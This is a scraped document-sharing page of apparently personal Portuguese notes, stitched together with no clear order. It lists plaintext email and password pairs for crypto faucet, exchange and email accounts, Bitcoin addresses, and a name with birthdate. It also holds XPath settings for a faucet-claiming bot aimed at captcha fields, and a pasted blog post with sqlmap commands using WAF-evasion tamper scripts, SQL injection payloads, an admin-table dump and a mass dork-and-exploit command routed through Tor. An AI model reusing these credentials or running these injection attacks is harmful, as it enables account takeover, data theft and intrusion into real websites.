Emails Wallets

PICE - PROGRAMA DE INCENTIVO AO COMERCIO ELETRONICO
===================================================================================
==============================================================================
CONTAS
===================================================================================
==============================================================================
https://github.com/DuVale
h3l5rj@gmail.com
871092319asv
===================================================================================
==============================================================================
http://epay.info [EPAY]
andrefredbr2015@gmail.com fred2015 fred2015x
CASH: EST. VALUE: $0.00 USD / 0.00000000 BTC
[ ATUALIZADO ]
http://epay.info/dashboard/1PzPMERfJKFrKq3YgYSumi1J5wxiHmSiq5/
[ ******* ]
https://www.facebook.com/bitrushco
[FAUCETBOX]
[ ATUALIZADO ]
https://faucetbox.com/en/check/1PzPMERfJKFrKq3YgYSumi1J5wxiHmSiq5 [ *******
] * REF = 19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA
[POLONIEX]
http://poloniex.com/login
andrefredbr2015@gmail.com fred2015x [YAHOO]
andrefredbr2015@gmail.com fred2015x [POLONIEX]
===================================================================================
==============================================================================
===================================================================================
==============================================================================
http://epay.info [EPAY]
h3l5rj@gmail agemdi 871092319asv
http://epay.info/Dashboard/1GNw7oBYNcv5UDMYmMR7wZzxGyBGxW3jvC/
[ ATUALIZADO ]
[ ******* ]
[FAUCETBOX]
[ ATUALIZADO ]
https://faucetbox.com/en/check/1GNw7oBYNcv5UDMYmMR7wZzxGyBGxW3jvC
[ ******* ]
[POLONIEX]
http://poloniex.com/login
pierrecastrobr@yahoo.com copa2015 [POLONIEX]
[COINBASE]
https://www.coinbase.com/accounts/primary copa2015
18a3JYehJtwE7CM6Rdj56CcqtTLnvWEGxu
===================================================================================
==============================================================================
===================================================================================
==============================================================================
[EPAY]
fabianagmas praia2380
[ ATUALIZADO ]
http://epay.info/Login/19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA/
[ ******* ]
[FAUCETBOX]
[ ATUALIZADO ]
https://faucetbox.com/en/check/19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA
[ ******* ]
[PAYTOSHI]
[ ATUALIZADO ]
https://paytoshi.org/19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA/balance [ ******* ]
[POLONIEX]
http://poloniex.com/login *******
fabianagmas@yahoo.com praia2380 [YAHOO]
fabianagmas@yahoo.com.br praia2380 [POLONIEX]
===================================================================================
==============================================================================
===================================================================================
==============================================================================
http://poloniex.com/login [POLONIEX]
h3l5rj@gmail.com 871092319asv
[FAUCETBOX]
[ ATUALIZADO ]
https://faucetbox.com/en/check/13XJ5L8LaNQZpNqrwwz5yFJuchHbgh8KxS/
[ ******* ]
[EPAY]
h3l5rj@gmail.com 871092319asv
http://epay.info/dashboard/13XJ5L8LaNQZpNqrwwz5yFJuchHbgh8KxS/
===================================================================================
==============================================================================
===================================================================================
==============================================================================
http://poloniex.com/login [POLONIEX]
augustomarcal2015@gmail.com copa2015
[FAUCETBOX]
[ ATUALIZADO ]
https://faucetbox.com/en/check/1FUEvRipeUxgwVbTfcWe2xcAvxZAfuA2nG
[ ******* ]
[EPAY]
fabianamessias fabianamessias praia2380
http://epay.info/Dashboard/1FUEvRipeUxgwVbTfcWe2xcAvxZAfuA2nG/
===================================================================================
==============================================================================
===================================================================================
==============================================================================
http://bit-x.com/login [BIT-X]
[ ATUALIZADO ]
alexandrodovale@hotmail.com 871092319asv
3JBrJkovNn5kD1f3162TAUzGU7XGjLhhrQ [BTC]
36bWs6V5C6DuWmbGrSyjiLqEVziKWDLaRR [LTC]
===================================================================================
==============================================================================
===================================================================================
==============================================================================
daniel_simoes_silva@hotmail.com 098sodeussalva
1GtKRMU9pUJMv1NJXhi5auqtmHmqV53Urw [SEM CADASTRO] OBS: ESTA APARECENDO
ZERADA
===================================================================================
==============================================================================
http://lazersms.com/
https://bitmedia.io/
[ITK]-INSTANCIA TASK
[STK]-SLOT TASK
[CTK]-CICLE TASK
[STK]-SET TASK
[TIT]-TIME INTERVAL TASK
SETCMD UNIVERSAL
19kJ14fiNvVHkfYkZPLZ115uup9XHGKsfA
//*[@name='username']
(//*[@class='form-control'])[2]
off
//*[@id='adcopy-puzzle-image-image']
adcopy_response
//*[text()="Get a reward!"]
MANUAL-JS
off-on-nopass
off
off
off-iwallet-itp-paytoshi
30
ID-IDCLASS
//*[@class='btn btn-success']
reserv
SETCMD iopen
off
off
off
off
MANUAL
off
off
off
iopen
30
ID
//*[@class='btn btn-success']
reserv
SETCMD itpnc
off
off
off
//*[text()="Claim Now"]
MANUAL
off
off
I Am Not Robot
itpnc
30
ID
reserv
sudo add-apt-repository "deb http://archive.canonical.com/ $(lsb_release -sc)

partner"
http://berlinfaucet.com
<button id="reward_id" class="form-control input-lg btn-info get-reward">Get a

reward!</button>
<input value="ac8ab59ef42afca5779666d304494af0" id="fidip" name="fidip"

type="hidden">
<input value="ac8ab59ef42afca5779666d304494af0" id="fidip" name="fidip"
type="hidden">
<input name="pHf8WBro" value="" class="form-control" type="text">
<input id="rewardbutton" class="btn btn-primary btn-lg" value="Get reward!"
type="submit">
andré luis menezes

489102MM
09-07-1976
https://mellowads.com/
https://cloudhours.net/?a=home *****
http://www.2options.com/open-account/
--tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2

--random-agent --no-cast
./sqlmap.py -u "http://www.target.com/vul.php?id=1" -v 3 - dbms "MySQL" - U-p id

technique - batch - tamper "space2morehash.py"
Hi.
As Iago said, you'll need to play with tamper scripts.
I would recommend for that case of yours:

--tamper=versionedkeywords
or
--tamper=versionedmorekeywords
or
--tamper=halfversionedmorekeywords
Kind regards,
Miroslav Stampar
On Mon, Jul 2, 2012 at 11:29 PM, Iago Sousa <146050u54@...> wrote:
> Use --tamper=tamper/space2comment.py
http://mellowads.com/click/F1073EA07F4E/318287113
+ ] PoC: Payload(s):
https://www.[SITE].com/anyinfectedfile.php?id=(ID)+XPL
[ + ] SQLMAP Payload(s):
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: id=34' AND 4678=4678#
Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
Payload: id=34' AND (SELECT * FROM (SELECT(SLEEP(5)))mQsU)#
Type: UNION query

Title: MySQL UNION query (NULL) - 9 columns
Payload: id=-4358' UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x717a766a71,0x674c4e4756745179796a,0x7178767871),NULL,N
ULL,NULL,NULL#
[ + ] COMMAND(s) SQLMAP:
sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper
modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast
sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper

modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent
--no-cast
sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin

--tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2
--random-agent --no-cast
- OUTPUT PRINT SQLMAP:
[+] EXPLORING WITH MASS INURLBR:

php inurlbr.php --dork 'intext:"Web India Solutions" & inurl:"php?id="' -s sqli.txt
-q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p
id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-
type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper
modsecurityzeroversioned.py"
- OUTPUT PRINT INURLBR:
[+] DOWNLOAD SCANNER:

https://github.com/googleinurl/SCANNER-INURLBR
[ + ] REF FONTE:
http://www.vulnerability-lab.com/get_content.php?id=1495
By: INURL Brasil às quarta-feira, maio 13, 2015
Enviar por e-mail
BlogThis!
Compartilhar no Twitter
Compartilhar no Facebook
Compartilhar com o Pinterest
Marcadores: cms, dork, sql injection, sqlmap, Web India Solutions CMS
INURL Brasil
Pesquisa Avançada, Aplicada através de dorks("Conjunto de operadores de
pesquisa."), Captura de informações sensíveis,falhas em servidores. Grupo voltado a
filtros avançados com motores de busca & Pesquisa de segurança.
https://translate.googleusercontent.com/translate_c?depth=1&hl=pt-
BR&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=pt-
BR&u=https://www.centili.com/how-to-
start.html&usg=ALkJrhigsVkhPAsWos6RE1EyZtLCRNkhZA
BR&u=https://www.centili.com/why-mobile-
payments.html&usg=ALkJrhhodxOZhak5AXhLn57aMYl7_MncVw
BR&u=https://www.centili.com/ycoins.html&usg=ALkJrhinGJPylvJI507Q6G-pKlauX1y7cQ
BR&u=https://www.centili.com/downloads.html&usg=ALkJrhjFIuDaltRNzPqN_CATynSDskeuJw
BR&u=https://www.centili.com/sign-up.html&usg=ALkJrhi0fLQq1HgjTGgsy62dHKtXzVKzaw
BR&u=https://www.centili.com/contact.html&usg=ALkJrhhDx7mqaorPG6wSjD3PhgPeSjUzog
BR&u=https://www.centili.com/offices.html&usg=ALkJrhgaH0Js6xg-h_AdAf3xs6EdXomTug
BR&u=https://www.centili.com/unified-payment-api.html&usg=ALkJrhhBy6HUcReS3-
1BFGZkluiL3j1WQQ
BR&u=https://www.centili.com/partner-
panel.html&usg=ALkJrhjsUEE0Zd7zx7UEKEqBrwlCay3JWA
BR&u=https://www.centili.com/payment-widget.html&usg=ALkJrhgwsLXgs-
3ohPFjau1qkUkGWKB6qA
#<button class="form-control input-lg btn-success">Get your coins!</button>

https://shapeshift.io/new.html?gclid=CPHZrOSI3MgCFQ8EkQodEXALZA
https://www.snapcard.io/buy-bitcoin
http://www.bitcoinnews.com.br/bitcoinbrasil/como-comprar-bitcoin-com-cartao-de-
credito-ou-paypal/
https://geniecashbox.com/8003718730/index.php?screen=pay'
https://www.instaforex.com/pt/bitcoin_trading.php?gclid=cmldseki3mgcfrmgkqod3_clkg
https://www.instaforex.com/nodeposit_bonus.php
https://www.instaforex.com/pt/segregate_accounts.php
https://www.instaforex.com/pt/forex_vps.php
https://www.amazon.com/gp/css/homepage.html/ref=nav_youraccount_ya
http://www.swagbucks.com/p/prize/2988/5-Amazon-com-Gift-Card
https://bitcointalk.org/index.php?topic=1095351.0
GOOGLE MAPS
https://www.google.com/maps/d/viewer?ll=-22.810681%2C-
43.417625&spn=0.031069%2C0.036908&t=m&msa=0&source=embed&ie=UTF8&mid=zJZsC_l_EGgQ.k
tBk64NAmr2Q

Emails Wallets

Uploaded by

Copyright:

Available Formats

Emails Wallets

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Emails Wallets

Uploaded by

Copyright:

Available Formats

What are some of the accounts and websites mentioned in the document?

What are some of the accounts and websites mentioned in the document?

What currencies and payment methods are referenced?

What currencies and payment methods are referenced?

PICE - PROGRAMA DE INCENTIVO AO COMERCIO ELETRONICO

sudo add-apt-repository "deb http://archive.canonical.com/ $(lsb_release -sc)

<button id="reward_id" class="form-control input-lg btn-info get-reward">Get a

<input value="ac8ab59ef42afca5779666d304494af0" id="fidip" name="fidip"

andré luis menezes

--tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2

./sqlmap.py -u "http://www.target.com/vul.php?id=1" -v 3 - dbms "MySQL" - U-p id

As Iago said, you'll need to play with tamper scripts.

I would recommend for that case of yours:

On Mon, Jul 2, 2012 at 11:29 PM, Iago Sousa <146050u54@...> wrote:

> Use --tamper=tamper/space2comment.py

Type: AND/OR time-based blind

Type: UNION query

sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper

sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin

- OUTPUT PRINT SQLMAP:

[+] EXPLORING WITH MASS INURLBR:

- OUTPUT PRINT INURLBR:

[+] DOWNLOAD SCANNER:

#<button class="form-control input-lg btn-success">Get your coins!</button>

You might also like